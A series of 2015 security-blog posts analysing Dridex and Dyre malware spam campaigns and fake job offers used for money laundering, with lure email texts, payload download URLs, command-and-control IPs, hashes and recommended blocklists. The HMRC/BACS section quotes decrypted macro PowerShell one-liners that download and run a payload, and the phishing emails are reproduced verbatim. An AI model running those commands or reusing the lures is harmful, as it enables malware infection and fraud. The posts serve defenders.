Malware spam: "Invoice (13\03\2015) for payment to COMPANY NAME"

There is a series of malware spams in progress in the following format:

Invoice (13\03\2015) for payment to JUPITER PRIMADONA GROWTH TRUST
Invoice (13\03\2015) for payment to CARD FACTORY PLC
Invoice (13\03\2015) for payment to CELTIC
Invoice (13\03\2015) for payment to MIRADA PLC

Note the use of the backslash in the date. There is an attachment in the format 1234XYZ.doc which I have seen three different variants of (although one of those was zero length), one of which was used in this spam run yesterday and one new one with zero detections which contains this malicious macro, which downloads another component from:

http://95.163.121.186/api/gbb1.exe

This is saved as %TEMP%\GHjkdfg.exe - incidentally, this server is wide open and is full of data and binaries relating to the Dridex campaign. Unsurprisingly, it is hosted on a Digital Networks CJSC aka DINETHOSTING IP address. This binary has a detection rate of 3/53 and the Malwr report shows it phoning home to 95.163.121.33 which is also in the same network neighbourhood.

The binary also drops a malicious Dridex DLL with a detection rate of 5/56. This is the same DLL as used in this spam run earlier today.

Recommended blocklist:
95.163.121.0/24

Malware spam: "pentafoods.com" / "Invoice: 2262004"

This fake Penta Foods spam run is another variant of this and it comes with a malicious attachment. Penta Foods are not sending this email, instead it is a simple forgery.

From:    cc18923@pentafoods.com
Date:    13 March 2015 at 07:50
Subject:    Invoice: 2262004

Please find attached invoice :  2262004
  Any queries please contact us.

--
Automated mail message produced by DbMail.
Registered to Penta Foods, License MBA2009357.

Attached is a Word document R-1179776.doc which actually comes in two version, both with zero detection rates, contains one of two malicious macros [1] [2] which then download a component from the following locations:

http://accalamh.aspone.cz/js/bin.exe
http://awbrs.com.au/js/bin.exe

This is saved as %TEMP%\fJChjfgD675eDTU.exe and has a VirusTotal detection rate of 5/57. Automated analysis tools [1] [2] show a phone-home attempt to:

62.76.179.44 (Clodo-Cloud / IT House, Russia)

My sources also indicate that it phones home to:

212.69.172.187 (Webagentur, Austria)
78.129.153.12 (iomart / RapidSwitch, UK)

According to this Malwr report it also drops a DLL with a detection rate of just 2/57 which is probably Dridex.

Recommended blocklist:
62.76.179.44
212.69.172.187
78.129.153.12

Malware spam: "Invoice [1234XYZ] for payment to COMPANY NAME"

These rather terse emails appear to refer to various companies, and all come with a malicious attachment:

From:    Erasmo Small
Date:    12 March 2015 at 09:40
Subject:    Invoice [3479XZM] for payment to INCOME & GROWTH VCT PLC(THE)

From:    Eli Ramirez
Date:    12 March 2015 at 08:37
Subject:    Invoice [4053FJK] for payment to RANDGOLD RESOURCES

From:    Richard Baxter
Date:    12 March 2015 at 08:37
Subject:    Invoice [3020JQM] for payment to TARSUS GROUP PLC

From:    Megan Dennis
Date:    12 March 2015 at 09:36
Subject:    Invoice [4706CEZ] for payment to SHANKS GROUP

The attachment is a Word document with a name that matches the reference in the subject. So far, I have seen two different versions of this with low detection rates [1] [2] which contain these malicious macros [1] [2] [pastebin] which contain some quite entertaining obfuscation, but when deobfuscated try to download an additional component from the following locations:

https://92.63.88.102/api/gb1.exe
https://85.143.166.124/api/gb1.exe

Note the use of HTTPS. Those two IP addresses belong to:

92.63.88.102 (MWTV, Latvia)
85.143.166.124 (Pirix, Russia)

Both are well-known hosts for this sort of rubbish. According to the Malwr report this attempts to phone home to:

95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)

Digital Networks is also a sea of crap. It also drops a Dridex DLL with a detection rate of 9/57.

Recommended blocklist:
95.163.121.0/24
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
85.143.166.0/24

Malware spam: "Voicemail Message (07813297716) From:07813297716"

When was the last time someone sent you a voice mail message by email? Never? There are no surprises to find that this spam email message has a malicious attachment.

From:     Voicemail admin@victimdomain
Date:     11/03/2015 11:48
Subject:     Voicemail Message (07813297716) From:07813297716

IP Office Voicemail redirected message

Attachment: MSG00311.WAV.ZIP

The attachment is a ZIP file containing a malicious EXE file called MSG00311.WAV.exe which has a VirusTotal detection rate of 5/57. According to the Malwr report, it pulls down another executable and some config files from:

http://wqg64j0ei.homepage.t-online.de/data/log.exe
http://cosmeticvet.su/conlib.php

This behaviour is very much like a Dridex downloader, a campaign that has mostly been using malicous macros rather than EXE-in-ZIP attacks.

The executable it drops has a detection rate of 2/54 and these Malwr reports [1] [2] show a further component download from:

http://muscleshop15.ru/js/jre.exe
http://test1.thienduongweb.com/js/jre.exe

This component has a detection rate of 5/57. According to the Malwr report for that we see (among other things) that it drops a DLL with a detection rate of 4/57 which is the same Dridex binary we've been seeing all day.

Piecing together the IP addresses found in those reports combined with some information from one of my intelligence feeds, we can see that the following IPs are involved in this activity:

31.41.45.211 (Relink Ltd, Russia)
62.213.67.115 (Caravan Telecom, Russia)
80.150.6.138 (Deutsche Telekom, Germany)
42.117.1.88 (FPT Telecom Company, Vietnam)
188.225.77.242 (TimeWeb Co. Ltd., Russia)
212.224.113.144 (First Colo GmbH, Germany)
37.59.50.19 (OVH, France)
62.76.179.44 (Clodo-Cloud, Russia)
95.163.121.200 (Digital Networks CJSC aka DINETHOSTING, Russia)
185.25.150.33 (NetDC.pl, Poland)
104.232.32.119 (Net3, US)
188.120.243.159 (TheFirst.RU, Russia)

Recommended blocklist:
31.41.45.211
62.213.67.115
80.150.6.138
42.117.1.88
188.225.77.242
212.224.113.144
37.59.50.19
62.76.179.44
95.163.121.0/24
185.25.150.3
104.232.32.119
188.120.243.159

Malware spam: Message from "RNP0026735991E2" / "inv.09.03"

This pair of spam emails are closely related and have a malicious attachment:

From:    admin.scanner@victimdomain
Date:    11 March 2015 at 08:49
Subject:    Message from "RNP0026735991E2"

This E-mail was sent from "RNP0026735991E2" (MP C305).

Scan Date: 11.03.2015 08:57:25 (+0100)
Queries to: admin.scanner@victimdomain

Attachment: 201503071457.xls

----------

From:    Jora Service [jora.service@yahoo.com]
Date:    11 March 2015 at 09:27
Subject:    inv.09.03

Attachment: INV 86-09.03.2015.xls

Neither XLS attachment is currently detected by AV vendors [1] [2] and they contain two related but slightly different macros [1] [2] which download a component from the following locations:

http://koschudu.homepage.t-online.de/js/bin.exe
http://03404eb.netsolhost.com/js/bin.exe

The file is then saved as %TEMP%\fJChjfgD675eDTU.exe  which has a VirusTotal detection rate of 3/57. According to this Malwr report, it attempts to connect to the following IPs:

188.225.77.216 (TimeWeb Co. Ltd, Russia)
42.117.1.88 (FPT Telecom Company, Vietnam)
31.41.45.211 (Relink Ltd, Russia)
87.236.215.103 (OneGbits, Lithuania)
104.232.32.119 (Net3, US)
188.120.243.159 (TheFirst.RU, Russia)

It also drops a couple more malicious binaries with the following MD5s:

8d3a1903358c5f3700ffde113b93dea6 [VT 2/56]
53ba28120a193e53fa09b057cc1cbfa2 [VT 4/57]

Recommended blocklist:
188.225.77.216
42.117.1.88
31.41.45.211
87.236.215.103
104.232.32.119
188.120.243.159

Malware spam: BACS "Remittance Advice" / HMRC "Your Tax rebate"

These two malware spam runs are aimed at UK victims, pretending to be either a tax rebate or a BACS payment.

From:    Long Fletcher
Date:    11 March 2015 at 09:44
Subject:    Remittance Advice

Good Morning,

Please find attached the BACS Remittance Advice for payment made by RENEW HLDGS.

Please note this may show on your account as a payment reference of FPALSDB.

Kind Regards
Long Fletcher
Finance Coordinator


Attachment: LSDB.xls

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From:    Vaughn Baker
Date:    11 March 2015 at 09:27
Subject:    Your Remittance Advice [FPABHKZCNZ]

Good Morning,

Please find attached the BACS Remittance Advice for payment made by JD SPORTS FASHION PLC.

Please note this may show on your account as a payment reference of FPABHKZCNZ.

Kind Regards
Vaughn Baker
Senior Accountant

----------

From:    HMRC
Date:    11 March 2015 at 10:04
Subject:    Your Tax rebate

Dear [redacted],

After the last yearly computations of your financial functioning we have defined that you have the right to obtain a tax rebate of 934.80. Please confirm the tax rebate claim and permit us have 6-9 days so that we execute it. A rebate can be postponed for a variety of reasons. For instance confirming unfounded data or applying not in time.

To access the form for your tax rebate, view the report attached. Document Reference: (196XQBK).

Regards, HM Revenue Service. We apologize for the inconvenience.

The security and confidentiality of your personal information is important for us. If you have any questions, please either call the toll-free customer service phone number.
© 2014, all rights reserved

Sample attachment names:

HMRC: 196XQBK.xls, 89WDZ.xls
BACS: LSDB.xls, Rem_8392TN.xml (note that this is actually an Excel document, not an XML file)

All of these documents have low detection rates [1] [2] [3] [4] and contain these very similar malicious macros (containing sandbox detection algorithms) [1] [2] [3] [4] which when decrypted attempt to run the following Powershell commands:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.39/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://93.170.123.36/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.190/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://46.30.42.177/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;

These are probably compromised hosts, for the record they are:

193.26.217.39 (Servachok Ltd, Russia)
93.170.123.36 (PE Gornostay Mikhailo Ivanovich, Ukraine)
85.143.166.190 (Pirix, Russia)
46.30.42.177 (EuroByte / Webazilla, Russia)

These download a CAB file, and then expand and execute it. This EXE has a detection rate of 4/57 and automated analysis tools [1] [2] show attempted traffic to:

95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
188.120.226.6 (TheFirst.RU, Russia)
188.165.5.194 (OVH, France)

According to this Malwr report it drops two further malicious files with the following MD5s:

c6cdf73eb5d11ac545f291bc668fd7fe
8d3a1903358c5f3700ffde113b93dea6 [VT 2/56]

Recommended blocklist:
95.163.121.0/24
188.120.226.6
188.165.5.194
193.26.217.39
93.170.123.36
85.143.166.190
46.30.42.177

Fake job offer: jobinituk.com / jobsinits.com / workincroatia.com

This spammed out "job offer" is actually an attempt to recruit people into criminal money laundering.

Date:    6 March 2015 at 21:00
Subject:    Hello

Good day!
We considered your resume to be very attractive and we thought the vacant position in our company could be interesting for you.

Our firm specializes in advertisment services realizing unique products of creative advertising and branding strategies
and solutions to develop a distinctive brand value.

We cooperate with different countries and currently we have many clients in the USA and the EU.
Due to this fact, we need to increase the number of our destination representatives' regular staff.
In their duties will be included the document and payment control of our clients.

Part-time employment is currently important.
We offer a wage from 3100 GBP per month.

If you are interested in our offer, mail to us your answer on andonis@jobinituk.com and
we will send you an extensive information as soon as possible.
Respectively submitted

Personnel department

There are four related domains:

jobinituk.com
jobsinits.com
workincroatia.com
sati-haus.net

If you receive a job offer soliciting replies to one of these domains, then the job offer is bogus. If you were to accept it, you could well be liable to repay back the money you helped launder, or even face arrest or jail time.

UPDATE: There is a second version of the spam circulating..

Date:    9 March 2015 at 15:23
Subject:    Offer

If you have
- excellent administrative skills
- knowledge of Microsoft Office
- a keen eye for details

If you
- present yourself well
- can understand and execute instructions

If you are
- a team player with the ability to work independently
- organized
- reliable and punctual person
- determined to work hard and succeed

Then We need you in Our Advertising Company!

Please email us for details of the job: Benito@jobinituk.com

Malware spam: "Mick George Invoice 395687" / "Mick George Invoicing [mginv@mickgeorge.co.uk]"

This malformed spam is meant to have a malicious attachment:

From:    Mick George Invoicing [mginv@mickgeorge.co.uk]
Date:    6 March 2015 at 09:29
Subject:    Mick George Invoice 395687


Please find attached a copy of your invoice 395687.

If you have any queries regarding the invoice, please do not hesitate to co=
ntact us by emailing mginv@mickgeorge.co.uk<mailto:mginv@mickegeorge.co.uk>=
 or calling our finance department on 01480 499125.

Regards

Finance Team
MICK GEORGE[http://mickgeorgeskips.co.uk/wp-content/uploads/2014/08/image00=
1.jpg] (r)
T: 01480 499125
F: 01480 498077
www.mickgeorge.co.uk<http://www.mickgeorge.co.uk/>

Lancaster House, Meadow Lane, St Ives, Cambs, PE27 4YQ  [http://mickgeorges=
kips.co.uk/wp-content/uploads/2014/08/image003.jpg] <https://plus.google.co=
m/109160871896788819541/posts>    [http://mickgeorgeskips.co.uk/wp-content/=
uploads/2014/08/image004.jpg] <https://twitter.com/mickgeorgeltd>

Specialists in Earthworks * Aggregates * Skip Hire * Contaminated Land Serv=
ices & Remediation * Demolition * Contracting

Waste Management & Recycling * Landfill & Tipping Facilities * Asbestos Rem=
oval * Ready Mix Concrete & Floor Screeds

[Concrete signature]<http://mickgeorgeskips.co.uk/wp-content/uploads/2014/0=
8/Concrete-signature.jpg>

Disclaimer

This email and any attachments are intended only for the use of the individ=
ual or entity to which it is directed and may contain information that is p=
rivileged, confidential and exempt from disclosure under applicable law.

If you have received this email and you are not the intended recipient or t=
he employee or agent responsible for delivering this email to the intended =
recipient, please inform Mick George on +44 (0)1480 498099 and then delete =
the email from your system. If you are not a named addressee you must not u=
se, disclose, disseminate, distribute, copy, print or reply to this email.

Although Mick George Ltd routinely screens for viruses, addressees should s=
can this email and any attachments for viruses. Mick George Ltd makes no re=
presentation or warranty as to the absence of viruses in this email or any =
attachments. Please note for the protection of our clients and business, we=
 may monitor and read emails sent to and from our server(s).

Mick George Ltd

Something has gone wrong with the formatting, it is meant to look like this:

Please find attached a copy of your invoice 395687.
If you have any queries regarding the invoice, please do not hesitate to contact us by emailing mginv@mickgeorge.co.uk or calling our finance department on 01480 499125.
Regards
Finance Team
MICK GEORGE ®
T: 01480 499125
F: 01480 498077
www.mickgeorge.co.uk

Lancaster House, Meadow Lane, St Ives, Cambs, PE27 4YQ

Specialists in Earthworks • Aggregates • Skip Hire • Contaminated Land Services & Remediation • Demolition • Contracting
Waste Management & Recycling • Landfill & Tipping Facilities • Asbestos Removal • Ready Mix Concrete & Floor Screeds

Disclaimer
This email and any attachments are intended only for the use of the individual or entity to which it is directed and may contain information that is privileged, confidential and exempt from disclosure under applicable law.
If you have received this email and you are not the intended recipient or the employee or agent responsible for delivering this email to the intended recipient, please inform Mick George on +44 (0)1480 498099 and then delete the email from your system. If you are not a named addressee you must not use, disclose, disseminate, distribute, copy, print or reply to this email.
Although Mick George Ltd routinely screens for viruses, addressees should scan this email and any attachments for viruses. Mick George Ltd makes no representation or warranty as to the absence of viruses in this email or any attachments. Please note for the protection of our clients and business, we may monitor and read emails sent to and from our server(s).
Mick George Ltd
Registered no. 2417831 (England)

The email looks like a genuine email because it has been copied from a genuine email from this company, but Mick George Skips are not actually sending this out. Instead it is a simple forgery.

What you are meant to have attached is a Word document Invoice395687.DOC which comes in several varieties, but they all contain a malicious macro similar to this which (in this case) downloads a component from http://schlaghaufer.de/js/bin.exe

This malware and the payload it drops is identical to the one found in this fake IRS spam run earlier today.

Malware spam: "Your 2015 Electronic IP Pin!" / "Internal Revenue Service [refund.noreply@irs.gov]"

This fake IRS email comes with a malicious attachment.

From:    Internal Revenue Service [refund.noreply@irs.gov]
Date:    6 March 2015 at 08:48
Subject:    Your 2015 Electronic IP Pin!

Dear Member

This is to inform you that our system has generated your new secured Electronic PIN to e-file your 2014 tax return.

Please kindly download the microsoft file to securely review it.

Thanks

Internal Revenue Service
915 Second Avenue, MS W180

So far I have only seen a single sample of this with an attachment TaxReport(IP_PIN).doc - although there are usually several different versions. Currently this is undetected by AV vendors. This contains a malicious macro [pastebin] which downloads a component from the following location:

http://chihoiphunumos.ru/js/bin.exe

There are probably other download locations, but the payload will be the same. This is saved as %TEMP%\324235235.exe and has a detection rate of 1/55. Automated analysis tools [1] [2] show attempted connections to:

92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks CJSC aka DINETHOSTING, Russia)
104.232.32.119 (Net3, US)
87.236.215.103 (OneGbits, Lithunia)

According to the Malwr report this executable drops another version of itself [VT 1/56] and a malicious DLL [VT 2/56].

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
95.163.121.0/24
104.232.32.119
87.236.215.103

Malware spam: "Your online Gateway.gov.uk Submission"

This fake Government spam leads to malware.

From:    Gateway.gov.uk
Date:    6 March 2015 at 11:49
Subject:    Your online Gateway.gov.uk Submission

Government Gateway logo

Electronic Submission Gateway

Thank you for your submission for the Government Gateway.
The Government Gateway is the UK's centralized registration service for e-Government services.

To view/download your form to the Government Gateway please visit http://www.gateway.gov.uk/

This is an automatically generated email. Please do not reply as the email address is not
monitored for received mail.
gov.uk - the best place to find government services and information - Opens in new window

The best place to find government services and information

The link in the email leads to a download at cubbyusercontent.com and the payload is the same as this NatWest spam run also active today.

Malware spam: "You have received a new secure message from BankLine" / "Bankline [secure.message@business.natwest.com]"

This fake banking spam leads to malware.

From:    Bankline [secure.message@business.natwest.com]
Date:    6 March 2015 at 10:36
Subject:    You have received a new secure message from BankLine

You have received a secure message.

Your Documents have been uploaded to Cubby cloud storage.
Cubby cloud storage  is a cloud data service powered by LogMeIn, Inc.

Read your secure message by following the link bellow:

https://www.cubbyusercontent.com/pl/Business%20Secure%20Message.zip/_90ad04a3965340b195b8be98c6a6ae37


----------------
You will be prompted to open (view) the file or save (download) it to your computer. For best results, save the file first, then open it.

If you have concerns about the validity of this message, please contact the sender directly. For questions please contact the Bankline Bank Secure Email Help Desk at 0131 556 8719.

First time users - will need to register after opening the attachment.
About Email Encryption - https://help.business.natwest.com/support/app/answers/detail/a_id/1671/kw/secure%20message 

This downloads a ZIP file from cubbyusercontent.com which contains a malicious executable Business Secure Message.exe which has a VirusTotal detection rate of just 1/57.

Automated analysis tools [1] [2] [3] [4] show attempted connections to the following URLs:

http://all-about-weightloss.org/wp-includes/images/vikun.png
http://bestcoveragefoundation.com/wp-includes/images/vikun.png
http://190.111.9.129:14248/0603no11/HOME/0/51-SP3/0/ELHBEDIBEHGBEHK
http://190.111.9.129:14249/0603no11/HOME/41/7/4/

It also appears that there is an attempted connection to 212.56.214.203.

Of all of these IPs, 190.111.9.129 (Navega.com, Guatemala) is the most critical to block. It is also a characteristic of this malware (Upatre/Dyre) that it connects to checkip.dyndns.org to work out the IP address of the infected machine, it is worth checking for traffic to this domain.

The Malwr report shows several dropped files, including fyuTTs27.exe which has a VirusTotal detection rate of 4/57.

Malware spam: "Credit Control [cc@pentafoods.com]"/ "Penta invoice I0026098"

This spam email does not come from Penta Foods, instead it is a simple forgery with a malicious attachment.

From:    Credit Control [cc@pentafoods.com]
Date:    5 March 2015 at 11:10
Subject:    Penta invoice I0026098

Please find attached your invoice I0026098

Regards,

Finance Team

Attached is a document I0026098.doc which comes in at least two versions with low detection rates [1] [2] which contain some macros [1] [2] that attempt to download a component from the following locations:

http://maloja.se/js/bin.exe
http://campusnut.com/js/bin.exe

This is the same payload as used in this earlier spam run. It currently has a VirusTotal detection rate of 12/56.

Malware spam: "Bobby Drell [rob@abbottpainting.com]" / "Brochure2.doc"

This spam does not come from Bobby Drell or Abbott Painting, instead it is a simple forgery with a malicious attachment.

From:    Bobby Drell [rob@abbottpainting.com]
Date:    5 March 2015 at 10:27
Subject:    Brochure2.doc

Please change the year to 2015.
Please confirm receipt
Thanks
Bobby Drell

Attached is a file Brochure2.doc which has a low detection rate which contains this malicious macro [pastebin] which downloads a component from the following location:

http://data.gmsllp.com/js/bin.exe

This is saved as %TEMP%\324235235.exe. Note that there may be different versions of this document that download files from different locations, but the payload should be identical. In this case the executable has a detection rate of 4/57.

Automated analysis tools [1] [2] show it phoning home to the following IPs:

92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks aka DINETHOSTING, Russia)

Usually this will drop a malicious Dridex DLL, although I was not able to obtain a sample.

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
95.163.121.0/24

"Remittance advice" spam has a mystery XML attachment

I haven't worked this out yet, but this appears to be a malware spam run using an XML document that contains an ActiveX element.

From:    Trudy Trevino
Date:    4 March 2015 at 09:29
Subject:    Remittance advice [Rem_0559ZX.xml]

Good morning

You can find remittance advice [Rem_0559ZX.xml] in the attachment

Kind Regards
Trudy Trevino
ROSNEFT OJSC

Other example fake senders are:

Georgette Whitfield
DELTEX MEDICAL GROUP

Jasmine Hansen
ACER INC

Jodi Cooper
JOHNSON SERVICE GROUP PLC

Rebekah Dodson
VICTREX

Edmund Molina
600 GROUP

Callie Brewer
BIOQUELL

Harriett Ferguson
BRISTOL & WEST PLC

Gabrielle Alvarado
JPMORGAN US SMALLER CO INV TST PLC

The name of the XML file in the attachment (and also the body text and subject) varies but is always in the format Rem_1234AB.xml. So far I have seen three different versions (clicking the MD5 leads to a Pastebin with the XML attachment):

• MD5 B2E594BDE90A1C998F3A7D892BAC925B - VT 0/57
• MD5 77739AB6C20E9DFBEFFA3E2E6960E156   - VT 0/57
• MD5 877E6EC17F307C319E3084D1EDFC40A4  - VT 0/57

The XML attachment contains a Base 64 encoded section which starts with the string "ActiveMime" which indicates that it is some sort of ActiveX element. I haven't been able to deduce the purpose of this, and the Malwr report is inconclusive but does show a command prompt being opened. The payload is most likely the Dridex banking given the other characteristics of the spam.

There's probably little reason to accept XML documents by email. Blocking these at your email gateway might be a good idea.

UPDATE 1

An analysis from another party indicates the following download locations:

http://92.63.87.12:8080/azvxjdfr31k/abs5ajsu.exe
http://178.32.184.11:8080/azvxjdfr31k/abs5ajsu.exe
http://46.30.42.90:8080/azvxjdfr31k/abs5ajsu.exe

The following are the servers the malware phones home to, I recommend blocking them:

62.76.176.203
46.30.42.171
74.208.68.243
37.139.47.111

More analysis to follow..

Malware spam: "John Donald [john@kingfishermanagement.uk.com]" / "Document1"

This rather terse email comes with a malicious attachment:

From:    John Donald [john@kingfishermanagement.uk.com]
Date:    4 March 2015 at 09:09
Subject:    Document1

There is no body text, but there is an attachment Document1.doc which is not currently detected by AV vendors, in turn it contains this malicious macro [pastebin] which downloads another component from the following location:

http://retro-moto.cba.pl/js/bin.exe

Note that there may be other different versions of this document with different download locations, but it should be an identical binary that is downloaded. This file is saved as %TEMP%\GHjkdjfgjkGKJ.exe and has a VirusTotal detection rate of 2/57.

Automated analysis tools [1] [2] show attempted network traffic to the following IPs:

92.63.87.13 (MWTV, Latvia)
104.232.32.119 (Net3, US)
87.236.215.103 (OneGbits, Lithunia)
108.61.198.33 (Gameservers.com / Choopa LLC, Netherlands)

According to the Malwr report it also drops another version of itself with a detection rate of just 1/57 plus a DLL with a detection rate of 7/56.

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
104.232.32.119
87.236.215.103
108.61.198.33

Fake job offer: "ukhomejob.com" and many others

This spam email for a fake (and illegal) job is soliciting replies to ukhomejob.com. It is part of a nework of fraudulent domains, attempting to recruit victims into money laundering and other illegal activities.

From:    Victim
To:    Victim
Date:    1 March 2015 at 22:09
Subject:    Advice

Good day!
We considered your resume to be very attractive and we thought the vacant position in our company could be interesting for you.

Our firm specializes in advertisment services realizing unique products of creative advertising and branding strategies
and solutions to develop a distinctive brand value.

We cooperate with different countries and currently we have many clients in the USA and the EU.
Due to this fact, we need to increase the number of our destination representatives' regular staff.
In their duties will be included the document and payment control of our clients.

Part-time employment is currently important.
We offer a wage from 3500 GBP per month.

If you are interested in our offer, mail to us your answer on hermie@ukhomejob.com and
we will send you an extensive information as soon as possible.
Respectively submitted

Personnel department

This is related to this scam. Now though the IP used to receive emails is a Comcast IP of 98.221.25.74. The following domains are also related and are all fraudulent:

globbalpresence.com
recognizettrauma.net
gbearn.com
comercioes.com
eurohomejob.com
fastestrades.com
usaearns.com
idhomejob.com
ukhomejob.com
eurhomejob.com

The most likely "job" is money laundering, typically moving money out of stolen bank accounts and then passing on to someone in Eastern Europe. This activity is illegal, and there is a chance that you'll end up in jail at worst, or having to repay back the stolen money at best. Avoid.

Fake job offer: tradeconstruction.co.uk, spoofing the legitimate Trade Construction Company LLC

This fake job offer claimed to be from a UK-based company called Trade Construction Company LLC using a website at tradeconstruction.co.uk. However, no such company exists in the UK, and this is a rip-off of a wholly legitimate US firm that is actually called Trade Construction Company LLC who are not involved in this scam at all.

From:    JOB ALERT [klakogroups@gmail.com]
Reply-To:    klakogroups@gmail.com
To:    Recipients [klakogroups@gmail.com]
Date:    27 February 2015 at 18:37
Subject:    NEW JOB VACANCIES IN LONDON.

Trade Construction Company,
L.L.C,
70 Gracechurch Street.
EC3V 0XL, London. UK

We require the services of devoted and hardworking workers, who are ready to work after undergoing enlistment training. in all sectors
as The Trade Construction Company Management intends to increase its man power base due to increasing number of customers and contract in the Company.


Available Positions

QUANTITY SURVEY, HEALTH EDUCATOR,CIVIL ENGINEER, FIELD SURVEY SUPERVISION, WELDER,MACHINES SUPERVISOR, MECHINARY OPERATOR,
CHEMICAL ENGINEER, AUTOMOTIVE MECHANIC, DESK OFFICER, ELECTRICAL ENGINEER, CONFERENCE & BANQUETING OPERATIONS MANAGER,
STORE KEEPER,ACCOUNT MANAGER, CASHIER, ASSISTANT MANAGER OF FRONT OFFICE, RECEPTIONIST, CLEANER, FOREIGN/INTERNATIONAL LANGUAGE INTERPRETERS,
MARKETING ASSISTANT, COMPUTER OPERATOR, INTERNET SERVICE EXPERT, SECURITY PERSONNEL, HR ASSISTANT,

The Company Management would be responsible to pay for your Flight Ticket and Accommodation.

All other information about benefits which would be received by new employees would be given in their application process.

So if interested, kindly send your CV/Resume via email to recruitment@tradeconstruction.co.uk



You can also apply directly at.

http://www.tradeconstruction.co.uk/apply_online.html
website: http://www.tradeconstruction.co.uk
Phone: +447990402584

   
The tradeconstruction.co.uk site is almost a bit-by-bit copy of the genuine tradeconstruction.com website.

The difference in content is minimal, but the fake site contains the following contact details:

Office Address:
TRADE Company House
70 Gracechurch Street London
EC3V 0XL
United Kingdom
Phone: +447990402584

Shop Addresses:
Office 208
3 Brindley Place
Birmingham, West Midlands
B1 2JB
United Kingdom
Fax: 225-658-8067 

These are actually the contact details for XL Insurance, who are obviously completely unconnected to this scam.

The fax number is invalid for the UK, and is actually just copied-and-pasted from the genuine site. The telephone number +447990402584  (07990 402584) is valid for the UK but it's a mobile phone number (possibly an untraceable prepay handset) so it could be anywhere.

As I said before, there is no company in the UK called Trade Construction Company and "LLC" is not a recognised type of UK company (typically they would be "Ltd", "PLC" or "LLP").

The WHOIS details for the domain are incomplete and unverified:

Domain name:
        tradeconstruction.co.uk

    Registrant:
        tradeconstruction

    Registrant type:
        Unknown

    Registrant's address:
        SOUTH ROAD
        ERDINTON
        BIRMINGHAM
        Birmingham
        B23 6EL
        United Kingdom

    Data validation:
        Registrant name and address awaiting validation

This is a residential area of Birmingham in the UK, but there is no house number and "Erdington" is spelled incorrectly. It certainly doesn't match the other contact addresses given.

Let's have a look at the mail headers to see if we can determine where this email actually came from.

Received: from mx.giki.edu.pk (mx.giki.edu.pk [121.52.146.229])
    by [redacted] (Postfix) with ESMTP id 91B60ED199
    for [redacted]; Sat, 28 Feb 2015 06:29:19 +0000 (UTC)
X-ASG-Debug-ID: 1425104952-04b09a633509b40001-Ozk3QL
Received: from mail.giki.edu.pk (mail.giki.edu.pk [121.52.146.226]) by mx.giki.edu.pk with ESMTP id 6NnzvLRyt5l62CxM; Sat, 28 Feb 2015 11:29:12 +0500 (PKT)
X-Barracuda-Envelope-From: klakogroups@gmail.com
X-Barracuda-Apparent-Source-IP: 121.52.146.226
Received: from localhost (localhost.localdomain [127.0.0.1])
    by mail.giki.edu.pk (Postfix) with ESMTP id 1127A11414ED;
    Sat, 28 Feb 2015 06:42:31 +0500 (PKT)
Received: from mail.giki.edu.pk ([127.0.0.1])
    by localhost (mail.giki.edu.pk [127.0.0.1]) (amavisd-new, port 10032)
    with ESMTP id m27tNjcw-XxF; Sat, 28 Feb 2015 06:42:30 +0500 (PKT)
Received: from localhost (localhost.localdomain [127.0.0.1])
    by mail.giki.edu.pk (Postfix) with ESMTP id 9E5A111414D7;
    Sat, 28 Feb 2015 06:42:30 +0500 (PKT)
X-Virus-Scanned: amavisd-new at mail.giki.edu.pk
Received: from mail.giki.edu.pk ([127.0.0.1])
    by localhost (mail.giki.edu.pk [127.0.0.1]) (amavisd-new, port 10026)
    with ESMTP id n3YhjtqX2niQ; Sat, 28 Feb 2015 06:42:30 +0500 (PKT)
Received: from [172.245.45.23] (unknown [172.245.45.23])
    by mail.giki.edu.pk (Postfix) with ESMTPSA id 214E611414ED;
    Sat, 28 Feb 2015 06:42:23 +0500 (PKT)

We can definitely say that this email spent a while bouncing around the Ghulam Ishaq Khan Institute of Engineering Sciences and Technology in Pakistan. It appears that it originated from a server at 172.245.45.23 which is a ColoCrossing IP suballocated to:

NetRange:       172.245.45.0 - 172.245.45.31
CIDR:           172.245.45.0/27
NetName:        CC-172-245-45-0-27
NetHandle:      NET-172-245-45-0-1
Parent:         CC-14 (NET-172-245-0-0-1)
NetType:        Reallocated
OriginAS:       AS36352
Organization:   naa (NAA-21)
RegDate:        2013-06-07
Updated:        2013-06-07
Ref:            http://whois.arin.net/rest/net/NET-172-245-45-0-1

OrgName:        naa
OrgId:          NAA-21
Address:        530 W. 6th Street Suite 901
City:           Los Angeles
StateProv:      CA
PostalCode:     90014
Country:        US
RegDate:        2013-06-07
Updated:        2013-06-07
Ref:            http://whois.arin.net/rest/org/NAA-21

OrgAbuseHandle: BRBA-ARIN
OrgAbuseName:   Baker, Rusdi bin abu
OrgAbusePhone:  +1-940-238-5499
OrgAbuseEmail:  rusdi.bin.abu.bakar@gmail.com
OrgAbuseRef:    http://whois.arin.net/rest/poc/BRBA-ARIN

OrgTechHandle: BRBA-ARIN
OrgTechName:   Baker, Rusdi bin abu
OrgTechPhone:  +1-940-238-5499
